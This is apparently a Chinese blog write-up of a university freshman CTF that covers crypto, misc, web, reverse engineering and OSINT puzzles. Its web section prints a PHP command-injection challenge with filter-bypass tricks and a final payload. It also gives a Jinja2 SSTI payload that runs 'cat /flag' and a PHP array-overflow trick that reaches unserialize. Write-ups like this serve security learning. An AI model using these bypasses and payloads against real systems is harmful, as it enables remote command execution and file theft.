XJU1024CTF总结

First Post:

Last Update:

Word Count:
1.7k

Read Time:
6 min

XJUSEC总结

前几天在机缘巧合下参加了新疆大学的新生赛,题目不算难,但是有一些没了解过的新东西,导致没有AK,于是用这个记录一下新学到的知识

Crypto

1.垃圾邮件

这是唯一一个没写出来的密码题,题目给了一个垃圾邮件,里面的关键内容是一个用作密码的txt,藏flag的word,看了官方题解才知道这个是垃圾邮件密码,将信息藏到一段文字之中。解密的网站在这里

这个网站可以对一些空格,垃圾文本进行加密解密,首先用txt的空格解出密码,然后把word的文章复制上去解出来flag。

评价:很容易误解为white space 隐写,几乎是唯一解,而且相对冷门。

2.日历密码

之前听说过,这次也是第一次见,题目特征非常明显,一张日历截图和类似这样的密文

1
S21 F1 T12 T11 T22 M1 F1 M3

其中M T1 W T2 F S1 S2 对应周一到周日,后面的数字是第几天,然后将日期与26个字母表对照即可

3.标准银河密码

题目给了一张MC的附魔台的截图,稍有常识的人就能看出来MC使用的是标准银河密码,与之对照即可

4.ROT全家桶

之前使用的大多是ROT13,这次也了解到了还有ROT5 ROT18 ROT47

贴个在线网站

Misc

1.按键音破解

在某一题中用到了,之前下载软件时里面装了一个按键音破解,这次派上用场了

2.修改文件头

这题没写出来是我想复杂了,一眼看出来zip的文件头不对,但是误以为是删除了文件头,需要通过文件尾(504B0102)字段倒推出来文件头(504B0304)字段再加到前面,结果是修改了文件头233333

3.excel

excel和word文档的本质都是压缩包,将其改名解压后直接在XML中Ctrl F 搜索就能找到flag

4.macro mrf文件

这次第一次见到了鼠标宏文件,记录鼠标的轨迹,比如画出flag,安装相关软件就能复现鼠标轨迹看到flag

5杂题

另外几道没写出来的题都是想复杂了,一个是在图片的16进制格式中直接查找flag,以为是什么高级隐写:数字水印,双图嵌套,缩略图隐写,高度宽度等qwq,还有一个是在流量包中分离出Base64格式的图片,将其修改高度就行,找到图片之后没想到。

顺便贴个好玩的网站

Web

1.rce漏洞

给出的题目如下所示

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}

读文件的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261 //报错出文件内容

空格被过滤

1
< 、<>、%09(tab键)、%20、$IFS$9、$IFS$1、${IFS}、$IFS等,还可以用{} 比如 {cat,flag}

关键字绕过

1
2
3
1.利用转义符号: 将flag写为/fl\ag,但很多情况下都没有用
2.拼接法:a=fl;b=ag;cat$IFS$a$b ,但这里过滤了cat和;所以不适用
3.使用空变量$*和$@,$x,${x}绕过 题目中并没有过滤$和@尝试发现得出flag

可以看出题目是将一些常见的读取命令给过滤掉,同时还过滤了空格和flag,所以最后的payload是

1
rce=uniq${IFS}fl$@ag.php

2.php数组溢出

这一题其他的内容就不贴出来了,是一些常规的md5绕过和反序列化绕过_wakeup,其中我第一次见到的是下面这个(可见我的孤陋寡闻)

1
2
3
4
5
6
7
8
if ($array[$d--] = 1) {
if ($array[] = 1) {
echo 'wrong';
} else {
unserialize($_POST['flag']);

}
}

这个用到了PHP数组key溢出:
PHP的int型数据取值范围,与操作系统相关,32位系统上为2的31次⽅,即-2147483648到2147483647, 64位系统上为2的63次⽅,即-9223372036854775808到9223372036854775807。

当数组下标达到了9223372036854775807,这个时候想要再往⾥⾯插⼊元素,就会报错,
var_dump之后 返回⼀个NULL,就能绕过这个判断

3.SSTI

最简单的SSTI模板题,使用的是官方给的漏洞复现就能找到flag

1
2
3
4
5
6
7
8
9
10
11
12
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("cat /flag").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

之前常见的一些题目都是PHP这个“漏洞百出“的语言,而且漏洞差不多已经被开发完毕了(,之后会有更多的Java web,flask,node.js这种web题,还需要不断学习

RE

1.8086

见识到了富有年代感的16位程序,这个需要在IDA中查看汇编代码,通过读汇编可以看出是对已经储存的字符异或1F,用脚本可以须臾解出。

2.数织

逆向的核心就是读伪代码/汇编来明白程序要干什么,之前的一道题是前20行的杨辉三角,那个模型还是比较熟悉的(C语言第一课了属于是),看了官方题解才知道这一题的核心是数织游戏的规则,读出大致的数织图形就能找到flag,虽然之前看沃玛在微博发过她自制的数织游戏,但没想到能出道RE题里orz

Osint

情报社工题

1.航班

土狗没坐过飞机,不知道有可以查历史航班的免费软件 ——飞常准,是我孤陋寡闻了。

2.音频倒放

稍有常识的人就能准确地听出来音频是倒放还是正放(

总结

求知若渴 虚心若愚

(还有不要想太多🤡🤡🤡🤡🤡)